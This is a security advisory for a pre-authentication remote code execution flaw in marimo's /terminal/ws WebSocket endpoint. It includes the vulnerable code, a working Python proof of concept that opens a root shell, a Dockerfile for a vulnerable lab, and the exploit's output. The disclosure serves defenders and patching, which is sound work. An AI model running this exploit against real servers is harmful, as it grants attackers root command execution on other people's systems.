Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.
Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.
Marimo <= 0.20.4
marimo/_server/api/endpoints/terminal.py lines 340-356:
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# No authentication check!
await websocket.accept() # Accepts connection directly
# ...
child_pid, fd = pty.fork() # Creates PTY shell
Compare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # Correct auth check
return
Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate_auth() calls.
The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validate_auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.
ws://TARGET:2718/terminal/ws (no auth needed)websocket.accept() accepts the connection directlypty.fork() creates a PTY child processA single WebSocket connection yields a complete interactive shell.
import websocket
import time
# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)
# Drain initial output
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root)
ws.close()
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:
$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3
/terminal/ws endpoint, consistent with /ws using WebSocketConnectionValidator.validate_auth()An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.
{
"severity": "CRITICAL",
"github_reviewed": true,
"nvd_published_at": "2026-04-09T18:17:02Z",
"cwe_ids": [
"CWE-306"
],
"github_reviewed_at": "2026-04-08T21:50:58Z"
}